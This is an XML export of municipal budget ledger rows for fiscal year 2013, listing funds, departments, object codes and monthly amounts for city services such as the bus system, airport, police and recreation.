<row _id="1945"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>400320.0</object><object_description>MILES PLAYHOUSE PROD FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-24000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-24000.0</total></row>
<row _id="1946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-492235.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-492235.0</total></row>
<row _id="1947"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579240.0</object><object_description>CIVIC PARKING BOND DEBT SERVIC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2550456.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2550456.0</total></row>
<row _id="1948"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="1949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57893.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>579</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>58472.0</total></row>
<row _id="1950"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17024.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>170</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17194.0</total></row>
<row _id="1951"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20671.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20671.0</total></row>
<row _id="1952"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11063.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>111</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11174.0</total></row>
<row _id="1953"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15918.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>254</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16172.0</total></row>
<row _id="1954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12980.0</july><august>818</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>138</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13936.0</total></row>
<row _id="1955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3653.0</july><august>1262</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2561</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7476.0</total></row>
<row _id="1956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28260.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28260.0</total></row>
<row _id="1957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7448.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7448.0</total></row>
<row _id="1958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2300.0</total></row>
<row _id="1959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="1960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-100000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="1961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578470.0</object><object_description>GROUNDSKEEPING TRANSFER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>78223.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>78223.0</total></row>
<row _id="1962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>367.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>367.0</total></row>
<row _id="1963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>273.0</march><april>0</april><may>0</may><june>0.0</june><total>273.0</total></row>
<row _id="1965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1911.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1911.0</total></row>
<row _id="1966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1040.0</july><august>0</august><september>0.0</september><october>-4.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1036.0</total></row>
<row _id="1967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7207.0</july><august>0</august><september>0.0</september><october>125.0</october><november>0</november><december>0</december><january>0.0</january><february>73</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7405.0</total></row>
<row _id="1968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401490.0</object><object_description>RECYCLE LEASE RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-55500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-55500.0</total></row>
<row _id="1969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401580.0</object><object_description>RECYCLED MATERIALS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-396800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-396800.0</total></row>
<row _id="1970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="1971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5297.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5297.0</total></row>
<row _id="1972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406280.0</object><object_description>FIRE HERITAGE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-1400.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1400.0</total></row>
<row _id="1973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16825.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1682</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18507.0</total></row>
<row _id="1974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6250.0</total></row>
<row _id="1975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402161.0</object><object_description>NOISE ABATEMENT - AIRPORT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="1976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402170.0</object><object_description>LANDING FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1602221.0</july><august>3000</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1599221.0</total></row>
<row _id="1977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19808.0</total></row>
<row _id="1978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18260.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18260.0</total></row>
<row _id="1979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>612.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>612.0</total></row>
<row _id="1980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19400.0</total></row>
<row _id="1981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>317074.0</july><august>0</august><september>0.0</september><october>-26122.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>290952.0</total></row>
<row _id="1982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27771.0</july><august>0</august><september>0.0</september><october>-1738.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26033.0</total></row>
<row _id="1983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2184.0</july><august>0</august><september>0.0</september><october>-137.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2047.0</total></row>
<row _id="1984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>273450.0</july><august>0</august><september>0.0</september><october>-12365.0</october><november>0</november><december>0</december><january>0.0</january><february>2611</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>263696.0</total></row>
<row _id="1985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4680.0</july><august>0</august><september>0.0</september><october>-115.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4565.0</total></row>
<row _id="1986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>635.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>635.0</total></row>
<row _id="1987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407910.0</object><object_description>CAP GRNTS - PRP 1B SECURITY</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-534182</april><may>0</may><june>0.0</june><total>-534182.0</total></row>
<row _id="1988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2663.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>27</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2690.0</total></row>
<row _id="1989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="1990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14140.0</total></row>
<row _id="1991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14825.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14825.0</total></row>
